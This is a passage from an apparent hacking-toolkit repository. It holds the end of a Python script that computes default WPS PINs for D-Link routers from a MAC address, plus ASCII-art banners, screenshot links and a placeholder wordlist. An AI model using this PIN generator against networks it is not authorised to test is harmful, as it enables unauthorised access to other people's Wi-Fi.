& 0x0F) << 12) + 77 | ((pin & 0x0F) << 16) + 78 | ((pin & 0x0F) << 20)) 79 | 80 | # The largest possible remainder for any value divided by 10,000,000 81 | # is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0. 82 | pin = pin % int(10e6) 83 | 84 | # If the pin is less than 1,000,000 (i.e., less than 7 digits) 85 | if pin < int(10e5): 86 | # The largest possible remainder for any value divided by 9 is 87 | # 8; hence this adds at most 9,000,000 to the pin value, and at 88 | # least 1,000,000. This guarantees that the pin will be 7 digits 89 | # long, and also means that it won't start with a 0. 90 | pin += ((pin % 9) * int(10e5)) + int(10e5); 91 | 92 | # The final 8 digit pin is the 7 digit value just computed, plus a 93 | # checksum digit. 94 | return (pin * 10) + self.wps.checksum(pin) 95 | 96 | if __name__ == '__main__': 97 | import sys 98 | 99 | try: 100 | mac = sys.argv[1] 101 | except IndexError: 102 | print ("Usage: %s " % sys.argv[0]) 103 | sys.exit(1) 104 | 105 | try: 106 | print ("Default pin: %d" % DLink().generate(mac)) 107 | except WPSException as e: 108 | print (str(e)) 109 | sys.exit(1) 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /tools/screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot1.png -------------------------------------------------------------------------------- /tools/screenshot2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot2.png -------------------------------------------------------------------------------- /tools/screenshot3.5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot3.5.png -------------------------------------------------------------------------------- /tools/screenshot3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot3.png -------------------------------------------------------------------------------- /tools/screenshot4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot4.png -------------------------------------------------------------------------------- /tools/screenshot5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot5.png -------------------------------------------------------------------------------- /tools/screenshot6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot6.png -------------------------------------------------------------------------------- /tools/screenshot7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/tools/screenshot7.png -------------------------------------------------------------------------------- /tools/skull.txt: -------------------------------------------------------------------------------- 1 | /\ 2 | /..\ 3 | / .. \ 4 | / .. \ 5 | / .. \ 6 | | :: | 7 | | :: | 8 | | :: | 9 | | :: | 10 | .o oOOOOOOOo | :: | OOOo 11 | Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO 12 | OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO type ? 13 | OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB' for help 14 | `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo 15 | .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO 16 | OOOOO '"OOOOOOOOOOOOOOOO"` oOO 17 | oOOOOOba. .adOOOOOOOOOOba .adOOOOo. 18 | oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO 19 | OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO 20 | "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO" 21 | Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :` 22 | : .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? . 23 | . oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo 24 | '%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO': 25 | `$" `OOOO' `O"Y | `OOOO' o . 26 | . . OP" :: | : o . 27 | | :: | 28 | | :: | 29 | . | /\ | . 30 | |\ | / \ | /| 31 | | `-._ | / \ | _.-' | 32 | \ `-._ |/ \| _.-' / 33 | \ `-' `-' / 34 | `-._ @tuf_unkn0wn _.-' 35 | `-._ _.-' 36 | `-.________.-' 37 | |\\\V///A| 38 | |\\V///A\| 39 | |\V///A\\| 40 | |V///A\\\| 41 | |//A\\\V/| 42 | |/A\\\V//| 43 | |/A\\\V//| 44 | _|_.----._|_ 45 | |__________| 46 | -------------------------------------------------------------------------------- /tools/venombanner.txt: -------------------------------------------------------------------------------- 1 | ------------------------------------------------------------------ 2 | .o@*hu 3 | .. ......... .u*" ^Rc 4 | oP""*Lo*#"""""""""""7d" .d*N. $ 5 | @ u@"" .u*" o*" #L ?b 6 | @ " " .d" .d@@e$ ?b. 7 | 8 @*@me@# '"Nu 8 | @ '#b 9 | .P $r 10 | .@" $L $ 11 | .@" 8"R dP 12 | .d#" .dP d" .d# 13 | xP .e .ud#" dE.o@"( 14 | $ s*" .u@*"" '""\dP" 15 | ?L .. ..o@"" .$ uP 16 | #c:$"*u. .u@*""$ uR .@" 17 | ?L$. '"""***Nc x@"" @" d" JP 18 | ^#$. #L .$ 8" d" d" 19 | ' "b.'$. @" $" 8" 20 | '"*@$L $" $ @ 21 | @L $" d" 8\ 22 | $$u.u$" dF dF 23 | $ """ o dP xR 24 | $ dFNu...@" $ 25 | "N.. ?B ^""" :R 26 | """"* RL d> 27 | "$u. .$ 28 | ^"*bo@" 29 | 30 | 31 | ██▒ █▓▓█████ ███▄ █ ▒█████ ███▄ ▄███▓ 32 | ▓██░ █▒▓█ ▀ ██ ▀█ █ ▒██▒ ██▒▓██▒▀█▀ ██▒ 33 | ▓██ █▒░▒███ ▓██ ▀█ ██▒▒██░ ██▒▓██ ▓██░ 34 | ▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒▒██ ██░▒██ ▒██ 35 | ▒▀█░ ░▒████▒▒██░ ▓██░░ ████▓▒░▒██▒ ░██▒ 36 | ░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▒░ ░ ░ 37 | ░ ░░ ░ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ░ ░ ░ 38 | ░░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ 39 | ░ ░ ░ ░ ░ ░ ░ 40 | ░ 41 | ------------------------------------------------------------------ 42 | | Created by @tuf_unkn0wn type ? for help | 43 | ------------------------------------------------------------------ 44 | -------------------------------------------------------------------------------- /wordlists/example.txt: -------------------------------------------------------------------------------- 1 | jalkf 2 | ajlfjdalfj 3 | dajfkldjaflkj 4 | dajfldkjalfjdla 5 | fjadklfjlkajf 6 | jdaljfja 7 | fjkla;jfljadlfkdj 8 | afd 9 | jfjdalfjdjafdj 10 | ajfdjafljdkjaf 11 | jd 12 | jda 13 | jfjdf 14 | fjafjd 15 | --------------------------------------------------------------------------------